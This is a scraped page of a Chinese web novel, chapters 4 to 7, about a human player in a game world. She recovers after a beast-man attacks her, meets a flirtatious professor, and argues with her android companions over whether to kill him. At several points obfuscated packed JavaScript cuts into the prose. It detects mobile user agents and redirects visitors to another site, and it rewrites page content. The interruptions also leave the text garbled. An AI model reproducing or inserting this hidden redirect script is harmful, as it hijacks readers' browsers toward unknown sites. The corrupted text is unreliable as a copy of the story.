成为绅士的第一要义是看起来像一位绅士,而不是拥有绅士的品格。 虽然穆德打扮精致得体、说话慢条斯理,在点菜时会对服务人员礼貌道谢,微微鞠躬;但他没有一副可以称得上“绅士”的相貌。 他所有裸露在外的皮肤都覆上了一层长约两三厘米的黑色兽毛,头顶有一双毛茸茸、微微耷拉的兽耳,眼睛是滴溜溜转的黑珠子,完全看不到眼白,活脱脱一只穿着人类衣服的大黑熊。 沈佳人潜藏在基因中的危险预警在见到他的第一眼就被激活:他,它,很危险。 拥有这种想法的不止她一人,哪怕是完美旅馆中经过训练的餐厅服务人员,他们在见到穆德时,身体也会止不住颤抖。 但他们害怕的时间十分短暂,只需几秒脸上就会重新挂上一如对待其他旅客的微笑,好似从未受到惊吓。 沈佳人原以为这都要归功于他们专业的服务素质,直到那场意外的发生让她明白,除了素质好以外,更为关键的是,穆德是一位极其“卑贱”的兽人。 比起害怕,他们更需要忍住的是一种傲慢的嘲笑。 由于本能的预警,沈佳人在排队点餐时走得有些慢,以便能离穆德更远一些。 小队中的越山和沈嘉钰也配合她的步伐,将其夹在中间。 餐厅的菜品样子瞧着不错,一半是油滋滋冒着肉香的荤菜,一半是样式简单但胜在新鲜的蔬菜水果。 沈佳人要了一份烤肉排、一碗蘑菇浓汤、半份蔬菜沙拉和几片松软的白面包,两位类人跟着她点了相同的东西。 入口前,沈佳人还怕会不合口味,毕竟艾尼斯帝国的衣食住行比较接近原世界的西方,西方的饭菜又是出了名的难吃。 谁知,味道竟然出奇的好。烤肉排肉质鲜嫩,浓汤甜而不腻,蔬菜沙拉口感清脆,完全没有吃草感。 沈嘉钰看到沈佳人突然睁大的眼睛,好奇凑到她身边问:“姐姐,这是什么味道啊?” “你尝尝不就知道了?很好吃!” 沈嘉钰嘴角的笑凝了一瞬,又重新弯起,应了一声好。而后他舀了一勺让沈佳人赞叹的蘑菇浓汤,“果然很好吃,甜甜的。” 沈佳人赞同地点了点头。 而坐在两人对面的越山望着这一幕不自觉地笑出了声,他有样学样也舀了一勺蘑菇浓汤,意味不明地说了一句,“是挺好吃的,甜甜的。” 沈嘉钰听出了他口中的嘲讽,忍不住瞪他,边瞪边委屈巴巴地喊了声姐姐。 沈佳人不知道他们在闹什么,只敷衍道:“快吃吧,凉了就不好吃了。” 她边说边看了一眼对面相隔两排座位的穆德,他吃相斯文,与外表一点也不相符,可能是因为吃得有些热了,领口解开了两三颗扣子。 她害怕他,但仍要紧盯他。 她需要时时刻刻确认这个危险生物的举动,只有这样才不会被自己想象中的恐惧紧紧缠绕。 穆德虽然吃得斯文,但速度不慢,在沈佳人吃到一半时,他已经在收拾餐具准备离开。但不知为何他动作幅度有些大,像是在压抑着什么。 站在不远处的安保人员察觉到他的不对劲,上前询问情况。沈佳人听不到他们的对话,但从两人间的动作以及那位安保人员在短暂问话后便回到原位置,可以看出应该没有异常。 沈佳人几人因为来得晚,坐在了离餐厅门口不远的位置,这是每位兽人离开餐厅都必须经过的地方。 因此,在穆德朝她这边走来的时候,她没感到有哪里不对,只在心里庆幸,穆德要走了,她不用再凝视“深渊”了。况且穆德看上去也和之前没什么不同,除了微微敞开的领口。 可事情发生的就是这么突然,穆德在经过她那排座位时骤然发难,极其迅速地扑倒了好好吃饭的沈佳人。 她来不及反应,也没有反抗的能力,只能在头快着地时匆匆用胳膊缓冲了一下,但她的头依旧受到了一定的撞击。 “他狂化了!快救人!” “快给他打抑制剂!” 狂化的兽人是什么样的呢?是纯粹的兽。 穆德不再发出清晰的字音,而是嘶吼,如同熊的咆哮,可他大张的兽口中没有尖锐的獠牙,只有整齐圆钝的人齿。 沈佳人没有被撕咬,在被扑倒后的几秒,越山和沈嘉钰就把她从穆德的手里救了出来。 越山和穆德缠斗,沈嘉钰则护着她后退到安全的地带。 这一撞像把她的头撞开了缝隙,不属于她的记忆和画面顺着裂缝争先恐后挤入她的脑袋,视线渐渐模糊,眼皮沉重地快要闭上。 可,她不能晕过去。 沈佳人摇了摇头,努力睁大双眼,看着前方扭打在一起的两人。 越山很强,和狂化的兽人打得有来有回。 但……温斯岛只会改变玩家的衣着,不会改造玩家的生理构造。 换言之,越山依旧是类人,他不能受伤。 没有人去帮越山制服穆德,所有人都在围观,包括负责监视和保护志愿者的安保人员。 沈佳人不明白他们为什么驻足不前,但也没有时间供她去探究,她必须在彻底晕过去之前将越山和穆德分开。 越山不能受伤,一定不能! 她按下了多可送她的紧急寻呼机,刺耳的警报在整座旅馆响起。 原先僵持不动的安保人员,在听到警报声后加入了越山和穆德的战场,多可也在她彻底晕过去的前几秒赶来。 紧急寻呼机,原来还有这个作用吗? 沈佳人来不及问多可寻呼机的真正作用,她甚至连一句完整的话都没有说完,在吐出“越山”二字后便因愈演愈烈的头疼晕了过去。 等她再睁眼发现自己处于一个洁白、充斥着消毒水味的空旷房间。 “露丝小姐,你醒了?” 沈佳人眼睛还没彻底睁开,耳边便传来一个陌生慵懒低沉的男声。 是谁? 她猛然睁开眼睛,警惕地看着站在她床边的青年。 见到她睁眼后第一件事就是快速从病床上坐起,拉远与自己的距离,青年低头呵呵笑起来。 他不说话,只细细打量她,从眉眼到下巴,从脸到手,一寸一寸,不放过分毫。 被注视的沈佳人感到很不舒服,他不像在看人,而像是在估量一件珍惜物品的价值。 她没有出声询问他是谁,她害怕自己一旦开口会被对面发现声音中的颤抖。 对她而言,那是一件很丢脸的事情,尤其是在对方不尊重自己的时候。 沈佳人本想以其人之道还治其人之身,可她无法像对面那般游刃有余,便只紧盯住青年的眼睛。 他高耸的眉骨下面是一双勾人魂魄的桃花眼,笑起来时眼尾弯弯,墨绿色的眼眸深邃神秘又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470948|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散发出危险气息。 不知过了多久,青年结束了他颇具侵略感的打量,眼眸轻抬与沈佳人对上视线,“你好,初次见面,我是莱伦,感谢你选择完美研究院。” “你好,我是露丝。” 客套的寒暄介绍让沈佳人紧绷的神经稍微放松了一点,她其实有猜到对面青年的身份,只是不敢确定。 在读到副本任务内容时,她对莱伦教授的构想是一个古板固执严肃的中老年形象,接触到多可后,她在这串形容词后又加上了一个老顽童。 但实际上的莱伦教授与想象大相径庭,他年轻英俊,拥有一头茂密的头发;他随性散漫,身上的白大褂随意敞开,和多可规整利落的装扮形成鲜明对比。 “我知道你的名字,多可告诉我了。” 他边说边坐到病床对面的沙发上,整个人像是没骨头般陷进去。 “露丝,玫瑰,是一个很美的名字。”莱伦说话一咏三叹,一波三折,“露丝小姐。” 说到最后四字时,他还对她莫名抛了个媚眼。 沈佳人有些不适应莱伦的转变,明明刚才还是压迫感十足的掌控者,现在却变成了一个言行轻挑的花花公子。 “刚才抱歉,不是故意的。”莱伦耸了耸肩,“多可让我在与他人会面时要拿出教授、院长的样子。” 他嘴上说着不是故意,可神情丝毫没有抱歉的意思。 “可我又不是那群老家伙,永远板着脸,眯着眼看兽人,随机准备挑兽人错处。那太无趣了!” “况且,多可现在不在,露丝小姐看起来也不像是会背地里告状的。对吗,露丝小姐?” 沈佳人:…… 她有些受不了莱伦在说露丝小姐时刻意拖长的声调,缠绵得像是在某种黏糊糊的液体里打滚,还不如刚才的注视呢! “我弟弟他们呢?”沈佳人及时开口,打断了他,“也就是波若和马丁。” “他们?当然是在志愿者公寓。” 随后,她从莱伦口中得知了自己已经昏迷了三天,由于检查不出昏迷原因,在第二天就转运到了帝都完美研究院下属的医院里,而她的“弟弟们”则被安排进了志愿者公寓。 听到莱伦说检查不出昏迷原因时,沈佳人有些不安,害怕自己的人类身份会暴露。 她想问他们做了哪些检查,但担心过于直接,于是开口问道:“我是不是生了什么病?” “没有。你只是精神太过紧绷,缺乏休息。” “真的吗?有没有抽血拍片?”她尽量让自己看起来像一个十分忧心身体健康的疑病患者。 莱伦意味深长地看了她一眼,“露丝小姐您不需要这些检查,您在昏迷半小时后就发出了能震聋兽人耳朵的呼噜声。” 沈佳人:…… 她合理怀疑,莱伦是故意的,故意说检查不出昏迷原因,好让她“自取其辱”。 “比起担心这个,我想你更应该考虑的是穆德。他因为故意隐瞒发情期、恶意攻击被关在了地下室。” “而你的想法关乎我们会如何处理他。” 他用的是处理,而非处置。 “比如?” “如果你认为他伤害到了你,那么穆德会被销毁;如果没有,那他可以照常参加志愿者实验。” “露丝小姐,你认为穆德伤害你了吗?”莱伦又开始了那黏糊糊的长腔。 沈佳人没有立刻回答,而是认真看向莱伦的眼睛,“你是为了问我这件事,才待在这里的吗?” 莱伦嘴角弯起,轻点了点下巴,随后又冲她眨了几下眼睛。 那股恶心感又上来了。 “你想让我选择哪一种呢?” 5. 第 5 章 “不是我想要哪种选择,而是你想要哪种选择。” “你才是受害者,不是吗?” 莱德面上带笑,眼神温柔,像是要为她讨个公道。 可,事实真是这样吗? 半空中飘过无形的字体: 【不要回答!不要回答!不要回答!】 【莱伦老贼又开始问玩家一些不明所以的问题了。】 【没有“又”吧,只是第三次而已。】 【为什么要叫莱伦老贼,他看着挺年轻的。】 【新人?回去补补艾尼斯之花和艾尼斯之囚吧,星网上的切片解读一搜一大把。】 …… 沈佳人看不见无形的弹幕,她循着内心的想法说出了自己的答案:“我希望能够遵循公理。” “公理?”莱伦疑惑地问道。 “对,公理,兽人们普遍认可和共同遵循的道理。” 听到沈佳人解释后的莱伦笑出了声,仿佛她在说什么很可笑的事情。 艾尼斯帝国没有公理,只有丑陋的欲望和欲望的“包装纸”。 莱伦笑问道:“如果公理对穆德做出的处罚是无罪,如果艾尼斯的公理与你的公理背道而驰,你还会遵循认可这种公理吗?” 沈佳人被莱伦脸上的笑容刺到,他之前的笑没有任何意义,只是单纯的嘴角弯起,展示美丽的脸庞,可现在夹杂着一丝沈佳人很熟悉的嘲讽与轻蔑。 她不想与他争辩,只是很平静地说,自己会接受。 正如某人所说,她是任人拿捏的软柿子,是风吹就倒的墙头草,是糊里糊涂的寒号鸟。 所以她会接受别人篡改操纵后的公理,可她……不会遵循它。 莱伦没有继续追问,他看着面前有些安静、无法刺伤兽人的“玫瑰”,答应她,她会如愿。 沈佳人本以为他的问题到此结束,但没想到临走前,他还是问了最后一个问题。 他问,她在梦中喊的沈嘉钰是谁。 沈佳人这次没有回答,而是选择沉默,她在心中给莱伦打上了一大串长长的标签:不务正业的教授、浪荡的花孔雀、喜欢偷听梦话乱打听的长舌男…… 她虽没有回答,但莱伦的问题在脑子飘荡了一整天,直到她出院被安排进了志愿者公寓,和越山、沈嘉钰相聚,那个问题也没有彻底消失。 完美研究院呈圆形,样式有点像土楼,中空外圆,大圆的里面又建造了一圈小圆,组成小圆的建筑物的楼层普遍在2-3层,主要为研究院工作人员和志愿者提供一些与衣食住行相关的公共服务。 志愿者公寓位于双层同心圆建筑的最中央,有五层,一层五个房间,房间内设有四个独立卧室。 沈佳人三人被安排进了404房间,最后一个房间住进了一位叫做赛娜的半马兽人,是此次和穆德一起在奥莱托城被招募的志愿者之一。 刚进入404号房间的沈佳人还没来得及和越山、沈嘉钰说话,就被赛娜找上了。 这位上半身是人身、下半身是马身的雌性兽人开口的第一句是替穆德道歉,希望沈佳人能够原谅他。 “露丝小姐,穆德他不是故意隐瞒发情期、伤害您的。” “你怎么知道他不是故意的?你凭什么要求我姐姐原谅他?如果被攻击的是你,你可以如此宽容地原谅吗?” 最先出头的依旧是沈嘉钰,他永远为她所受的伤害愤愤不平,永远站在她这一边。 “你梦中喊的沈嘉钰,是谁?” 莱伦的问题在沈佳人的脑海里阴魂不散,让梦境与现实交错重叠。 面对沈嘉钰满含怒气的质问,赛娜很是愧疚,“穆德真不是故意的,完美研究院的院长讨厌不能控制发情期的兽人,但没有兽人能够控制住发情期,久而久之,完美研究院在招录志愿者时便有条不成文,凡是在招募期处在发情期的兽人均不能应征志愿者。” 沈嘉钰:“可这些和我姐姐又有什么关系呢?” “穆德和我、和你们都不一样,他是从马戏团里逃出来的,如果没有研究院的庇护,他会被抓回马戏团,遭到更加残忍的虐待。” “那又怎么样?” 沈嘉钰不管这些隐情,也不在乎穆德将会面临怎样残酷的未来,他只知道凡是伤害姐姐的东西都要付出代价。 越山对沈嘉钰的发言感到无语,现在是在副本世界,同npc为了原不原谅的问题争吵属实有些无脑,重点难道不是要完成任务尽快脱离副本吗? 至于这些npc,有用则用,无用则找个时间悄无声息解决掉,尤其这些npc是名义上的志愿者,实际上的耗材,偶尔因为实验死一两个,也不会有npc来追究。 沈佳人不知道两类人的想法,她倒是有些好奇,赛娜为什么要替穆德求情。 虽然她因为那场意外晕了过去,没能和他们相处太长时间,但是她从短暂的餐厅吃饭时间能看出来,赛娜和穆德之间的关系算不上熟稔:他们吃饭时没有交谈,座位也相隔较远。 当她把这个问题问出后,赛娜没有任何犹豫回答道:“因为我们都是维多利亚的信徒。” “维多利亚是正义的象征,作为他的信徒,我们从不做不义之事。” “我以我的信仰起誓,穆德是个好兽人,希望您能宽恕他,露丝小姐。” 越山突然出声:“维多利亚?” “是的,维多利亚。”提到维多利亚,赛娜一扫之前略微低沉的情绪,兴奋地向他们讲述维多利亚的故事。 她讲述的版本和越山给沈佳人关于《艾尼斯之花》副本的信息出入不大,都是维多利亚潜入王庭救出王后,王后身死火烧王庭,带领起义军掀翻王庭的封建统治。 只是在赛娜的口中,人类玩家唐水成为了神明化身维多利亚,且被抹去了性别。 在平行世界作为人类的唐水,在艾尼斯帝国作为雌性的维多利亚,不同的名称,相同的一个人,在两百年后成为了一个形象是雄性兽人的神明。 唐水知道这件事吗?她知道的话,会感到好笑吗? 唐水会不会笑,沈佳人不知道,但旁边的越山笑出了声。 赛娜听到越山的笑声,脸一下子冷了下来,马身的前蹄在原地踏了几步,像是随时准备进攻,“你在嘲笑维多利亚,嘲笑我的信仰吗?” 越山摇了摇头,道:“我没有嘲笑你的信仰,只是有没有可能维多利亚是一位极度厌恶雄性的雌性兽人呢?” 何止是极度厌恶,她对雄性的厌恶已经远远超越这个性别本身,厌恶到离开副本后对类人也不会有什么好脸色,虽然她本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470949|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不怎么喜欢类人,但…… 越山想起了他们再次见面的场景,想起她眼神中浓厚的恨,想起她对他说的话,当类人成为人类,他们会成为敌人。 越山的话让赛娜前蹄的踏步节奏变快,“不许你侮辱维多利亚!” 侮辱?明明侮辱她的是你们这些信徒。 沈佳人见气氛中的硝烟渐起,立马拍了拍越山的胳膊,示意他不要再讲话。 “抱歉赛娜,马丁也不是故意的。在我们家乡,维多利亚的确是一位勇敢无畏、极具正义感的雌性战神形象。” 见赛娜踏步节奏渐渐慢了下来,沈佳人又趁热打铁道:“虽然我不是维多利亚的信徒,但我也认同维多利亚所代表的正义精神,所以我不会恶意追究穆德。” “但……”她话锋一转,“如果我因为你的请求而宽恕穆德,让他免于责罚,这岂不是与维多利亚的基本教义相悖?” “我不清楚维多利亚在半马族和帝都维多利亚代表了什么,但在我们的家乡,维多利亚不仅是胜利战神,更是公平公正的象征。” “在维多利亚的光辉下,所有不义之事都会无处遁形,做好事的兽人会得到庇护,行坏事的兽人会得到惩罚。无论贫穷还是富有,无论残缺还是健全,无论低贱还是高贵,维多利亚会平等对待所有兽人,不会偏袒任何一位。” “所以在院长找我询问如何判决穆德时,我请求他可以秉公处理。” 赛娜那紧凑、宛如战前鼓点的踏步随着沈佳人的解释渐渐停息,她高昂的头颅缓缓垂下,右前蹄似抬非抬,轻点地面。 “露丝小姐,你说得对,维多利亚不会因隐情、因苦衷而偏袒犯错的兽人。”赛娜为自己感到羞愧,“我……我不是合格的维多利亚信徒。” 沈佳人轻声安慰了赛娜几句,没有兽人会不犯错,维多利亚存在的意义便在于此,时时警醒,常常反思。 赛娜低落的情绪一扫而空,她向沈佳人表达了感谢,在去咨询室前,她说道:“露丝,你们家乡对维多利亚的理解很深刻,就是搞错了他的性别。” 对此沈佳人没有多言,只是笑着说:“或许吧。” 如果不是急着与沈嘉钰、越山商量接下来的对策,她肯定会询问赛娜,为什么她会认为维多利亚的形象是一位雄性兽人,为什么艾尼斯帝国会把维多利亚变成一位雄性兽人。 是因为她与王后之间令兽人唏嘘悲叹的禁忌之恋;还是因为那场浩浩荡荡,横扫整片大陆,摧毁旧秩序建立新秩序的战争? 或许都是,也或许都不是。 维多利亚离开的太早了,她只来得及揭开新时代的序幕,没有时间去建设、发展、稳固由她一手开创的新天地。 或许即使她拥有足够的时间,也无法改变。 她像烧掉王庭的那场火,即使声势浩大,但终究会熄灭。没有兽人想成为燃尽的火,就算有,也没有充足供其尽情燃烧的柴火。 做火太累,也太难,但攫取被灰烬滋养的土地却很简单。 在赛娜离开后,沈嘉钰就凑上来仔仔细细、上上下下检查了一番沈佳人的身体状况,并小声抱怨,姐姐为什么要放过穆德。 一旁静静等待的越山在沈嘉钰过度姐控的症状减轻后,再次向沈佳人提出了那个建议——杀了莱伦。 6. 第 6 章 面对越山的提议,沈佳人再次拒绝了他。 越山道:“为什么?” 和第一次不赞同不反对的沉默表态不同,越山开口向沈佳人询问理由。 他不明白,她为什么不同意自己的策略,上次他们没有进入完美研究院,还有苟的机会,但现在他们成为了实验的志愿者,不主动出击就是死路一条。 难道她想正正经经、按部就班照着温斯岛的游戏说明完成副本任务通关吗? 如果真是这样,那脱离副本以后,他一定要把她那些五年模拟十年副本的基础书全都烧了,他要在评论区大写特写恶评,控诉无良商家坑害学生,还要把沈佳人当做典型反面案例在学校论坛、温斯岛游戏交流区大肆宣扬,让她做鬼也不得安生。 沈佳人问道:“你想如何杀掉莱伦?成功之后如果我们没有通关,又该怎么办呢?” 越山没有直接回答她的问题,“唐水是怎么做的,我们就可以怎么做。你是在怀疑我的能力?” 沈佳人摇了摇头,她不怀疑越山的战力,虽然她没能亲眼看到他与穆德打架的全过程,但从结果来看,越山不仅半点亏没吃,反而占据上风。 她承认他很强,但……她不认为莱伦的死亡会让他们顺利通关。 “那你想怎么做?”越山莫名变得有些暴躁,“老老实实当实验的志愿者,按照任务内容一步步破解通关?” 即使他刻意收敛了火气,但依旧被沈嘉钰捕捉到了蛛丝马迹,他竟然在朝姐姐发脾气! 沈佳人抢在沈嘉钰之前开口,“我们不可以想想除了杀人以外的方法吗?” “杀人?”越山重复了一遍沈佳人话里的某个字眼,“你是把他当做人类,当做你的同类吗?” “你不要太过分!不要故意曲解我姐姐的意思!”沈嘉钰忍不了了,他怎么能把姐姐和肮脏的畜生混为一谈。 沈佳人的头有些疼,“我没有,我只是不喜欢伤害和杀戮。”只是顺口而已。 越山说:“可他是兽人,是副本中的npc。” “那又怎么样呢?”沈佳人不解地问道,“无论是兽人还是npc,都无法改变他们是会思考有情感和自我意识的本质。” “不到万不得已,我不想伤害他们的生命。” 越山笑出声来,“你见过莱伦了,对吗?” 沈佳人有些莫名,但老实地点了点头。 “你觉得他长得怎么样?”越山继续问道。 沈佳人内心的疑惑更大了,为什么突然问她对莱伦外貌的看法。 就她个人而言,她有些厌恶莱伦有时轻浮做作的举动,但平心而论,他长得十分不错,像一朵既清冷又艳丽的绿色大丽花。 所以,沈佳人依旧老实地点了点头。 而后,她得到了来自越山的嘲讽,“哼,见色起意的人类。” 沈佳人:…… 不是,他到底是怎么得出这个结论的?他对人类到底有什么误解? “所以,你认为我是因为莱伦长得好看才不想杀他,而我刚刚讲的那些话,在你看来都是我为了贪图美色而找的借口?” 越山没有直接回答她,而是斜眼快速瞥了一眼沈佳人,双手环胸,从鼻孔里哼出一个气音。 沈佳人很无语,她询问越山原因,只得到“因为你是人类”的回复。 围观的沈嘉钰没有因为越山对姐姐的出言不逊而与他争辩,他沉默着,小心翼翼观察姐姐脸上的所有变化。 她说兽人,说这些会说话的畜生是会思考、有情感和自我意识的生命;她说,她不想伤害他们的生命。 生命,多么美好的词语。 姐姐喜欢有生命的东西,对吗? 可他是类人,是一个半生命体。 沈嘉钰希望姐姐的脸上会因越山的话露出被戳中后的难看,这样他就能欺骗自己,姐姐喜欢的是美丽的皮囊,她不会因此讨厌他。 沈佳人敏锐地察觉到了沈嘉钰的沉默,她没想到连沈嘉钰都认同越山的话。 她现在完全管不了原来的“沈佳人”是不是一个会见色起意的人类,她只知道自己被严重误解了。 “我没有,我只是不想伤害任何活的生物,也不对,是不想伤害任何我认为他们是活的生物。” 越山不屑道:“如果莱伦是类人,你也会坚持不杀他吗?” “我会!”沈佳人没有丝毫犹豫,斩钉截铁道。 这话把越山噎了一下,他看着沈佳人认真的神情,知道她没有说假话,环抱的双手放了下来,很不自在地道:“随便你吧,接下来你想怎么做?” 说实话,沈佳人对接下来要做的事情没有什么想法。她知道她需要通关游戏,之前看的游戏书里也提供了基本路径和详实的案例展示,但她依旧毫无头绪。 比毫无头绪更可怕的是,她几乎没有对于死亡的恐惧和求生的欲望,明明她清楚的知道这是死亡率为60%的B级副本。 可沈佳人对此没有半分实感,反倒有种做梦的感觉,还是梦中梦。 “姐姐?” 沈嘉钰轻声的呼唤,将她游走的思绪拽了回来。 沈佳人看了看他怯生生、略含担忧的眼神,他和那个沈嘉钰真是一点也不像。 她脸上露出微笑,示意他自己没事,而后看向越山,“鸡蛋不能放在同一个笼子,我们可以做两手准备,一边探听副本任务中那个危险实验到底是什么,一边寻找刺杀莱伦的可能性。” 在听到后半句时越山的眼睛明显亮了一瞬,沈佳人自然注意到了他的眼神变化,“但是有一点,一定要保证自身的安全,保证小队其他成员的安全。” 说完,她依旧不放心地补充道:“我知道你可能喜欢唐水那种大开大合的通关方式,可她在采取暴力激进的通关方式之前,不也在王庭里当了一段时间的侍女吗?不管怎么样,摸清副本内的基本情况是没有错的……” 沈佳人絮絮叨叨说了很多,念完越山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈佳人不知道“她”到底经历了什么,只能感受到黏稠、滞涩的无助与绝望。 “她”把这种痛苦包装成恶意,转移到了相遇不久的弟弟“沈嘉钰”身上。 这时候的“沈嘉钰”和她所认知的沈嘉钰没什么不同,阳光开朗、大大方方,会直白地生气、会理所当然地索求,会很自然地接受母亲和父亲的爱,他不埋怨也不愧疚,更不会患得患失。 他们是她们的相反面,他们是她们想要破坏却又会在最后一刻选择保护的存在。 她们讨厌他们,可又不得不承认,他们是痛苦的发泄口。 梦境的最后,“沈佳人”和浑身上下被凯温斯淋透的“沈嘉钰”并排从那间华丽空荡的屋子里走了出来…… “他”是从那时候变得粘人,他是从那时候变得沉默。 她们和他们真的走出来了吗? 7. 第 7 章 等越山二人把饭带回来时,沈佳人已经整理好了自己的情绪。 “姐姐,你快尝尝,这里的蘑菇浓汤是不是和上次一样好喝?” 沈嘉钰小心翼翼把汤端到她的面前,眼里满是笑意和关切。 她看着他亮晶晶的眸子,心里说不出什么滋味。 梦境让她恢复了点原主的记忆,虽然零散破碎,但也让她知道了,关于类人的一些事情,比如他们是没有味觉的。 他们尝不出食物的味道,也不需要从食物中获取能量。 进食,只是为了模仿人类,和人类更像。 但沈佳人心里别样的滋味,不是源于心疼,而是……沈嘉钰真的没有发现她不是她吗? 她低头喝了一口香甜软热的蘑菇浓汤,而后学着梦境里的“她”的语调,说道:“好喝,咸甜适中,还有一股奶味,不过……你能……” 食物口感描述加“你能尝出来吗”的讥讽,是原主每次和沈嘉钰吃饭时必说的一句话。 因为她喜欢独自吃饭,所以在进副本前,没有和沈嘉钰在一张桌子上吃过饭。但在进入副本后,在她因穆德的袭击晕过去之前,他们正在一起讨论饭菜好不好吃。 那时他的反应是什么呢?是赞同与附和。 他难道没有察觉出不对吗?还是说他早就发现了呢。 沈佳人还没把“你能”后面的句子说完,就被沈嘉钰打断了,他眼睛里的笑意消失,只剩下浓浓的不安。 “姐姐?” 沈佳人听出了他声音里的颤抖,好吧,他早就发现了。 哈,哈,哈,沈佳人在心里干笑两声,到底是没有把那句嘲讽说完,“下次不要应和我,我知道你尝不出来。” 沈嘉钰脸上的不安随着这句话消失得无影无踪,转变成被拆穿的僵硬。 沈佳人又喝了一口浓汤,细细感受后,给出沈嘉钰能理解的形容,“是在冬天暖洋洋晒太阳的味道,很舒服,很好喝。” 她边说边看向沈嘉钰,他先前还僵硬的脸部现在柔软得不像话,那双眼睛眨巴眨巴,好似在说话。 沈佳人低头喝汤,不再看他,只撂下一句,“出去以后再说。” 换来的是拖着长腔,像是在撒娇般的姐——姐—— 站在旁边的越山被沈嘉钰这死动静弄出一身鸡皮疙瘩,“沈嘉钰,住嘴!” 而后转头看向沈佳人,问道:“你们在打什么哑谜?” 沈佳人不理他,只一味埋头吃饭。 见她这样,越山也没再追问。 虽相处时间不长,但他知道沈佳人不是那种藏着掖着、使坏心眼子坑类人的人类。 越山猜想,可能是他们姐弟俩之间的私事,不说也没什么大不了。 这样想着,视线无意中瞥见眼巴巴盯着沈佳人瞧的沈嘉钰,心中涌上恶寒,立马往远处站了站。 他从来没有遇见过像沈嘉钰这样的类人,这得融进多少姐控程序啊! 大约过了二十分钟,沈佳人吃完了。在沈嘉钰收拾垃圾时,她忽然想到一件事,他们是拿什么买的饭,毕竟温斯岛不会给玩家流通货币。 对于她的疑惑,越山的回答是,免费。 在咨询结束之前,完美研究院会为他们提供免费食宿。 “咨询?”沈佳人疑惑道。 “对,咨询。完美研究院有一个规定,所有的志愿者在正式进行志愿服务前都必须经过咨询室的咨询,以判断是否具有志愿资格。” 沈佳人:??? 她记得赛娜离开前说过要去咨询室,但判断是否具有志愿资格,就有点离谱了。 一来志愿者原本就是强调自愿、无限制,任何人都能成为志愿者;二来当初完美研究院在各地征集志愿者时应该已经做过一轮调查和评判了,为什么现在还要再来一次。 “你们去咨询过吗?”沈佳人问道,“或者知不知道咨询的内容?” 越山摇了摇头,今天是他们进入研究院的第二天,虽然咨询在进入研究院当天就开始了,但现在还没有轮到他们。 而有关咨询的内容,越山和沈嘉钰试图打听过,但一无所获。 沈佳人接着发问:“是不是因为你们打听的方式方法不对,比如态度不怎么友善?” 她这个担忧不是空穴来风,不论是越山还是沈嘉钰,她都能感觉到,他们不怎么喜欢兽人。 这话刚一问出口就得到越山否定的回答:“不可能,我们有分寸,是他们……他们状态有点奇怪。” “经过咨询后的兽人情绪状态相差极大,要么满面春风,要么垂头丧气。”越山细细回忆着他们的状态,“不管哪一种,警惕性都极高,不会透漏半分和咨询相关的内容。” “比起警惕性,感觉更像是敌意。”收拾完垃圾的沈嘉钰在一旁补充道。 敌意? 沈佳人眉头轻皱,食指在桌子上敲打,想了半天也想不出他们为什么会对他们有敌意。 或许,等赛娜回来后,可以看看她的状态,试试能不能问出点什么。 可是,沈佳人三人等了一晚上也没能等到赛娜。 她,一整夜都没有回来。 直到第二天早上,沈佳人才见到赛娜,她叫她和越山几人做好咨询准备,九点准时到达咨询室。 说完这一切的赛娜,没有立即离开。她四只马蹄来回轻敲地面,眉眼间有一抹化不开的愁,连带着那头飘逸亮丽的金色长发都暗淡了几分。 沈佳人看出她的踌躇,趁机发问。 “怎么了?是出什么事情了吗?昨晚你一直没回来,我们都很担心。”她的声音又轻又柔,像早春的风,让赛娜纷乱的心渐渐安定下来。 没等沈佳人把对话往咨询方向引,赛娜就说出了她想知道的内容,“昨晚我待在了实验室。多可让我好好想想,是否要接受实验。” “她说我的心愿很难完成,成功的几率很小,甚至有可能死亡。” 实验、心愿?完成心愿需要接受实验? 沈佳人搞不懂心愿和实验是怎么挂上钩的,但不妨碍她继续发问,“是怎样的实验呢?” 赛娜没有回答,而是向她提问,她轻轻唤了一声沈佳人的假名,“露丝,如果是你,你会怎么选呢?是冒着生命危险实现心愿,还是做个自怨自艾的懦夫。” 她与她对望,眼里有疲惫有苦涩,也有沈佳人看不懂的羡慕。 沈佳人被她问住了,她想说她没有什么心愿,她只想吃好喝好活好,只要能吃好喝好活好,哪怕不能出副本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 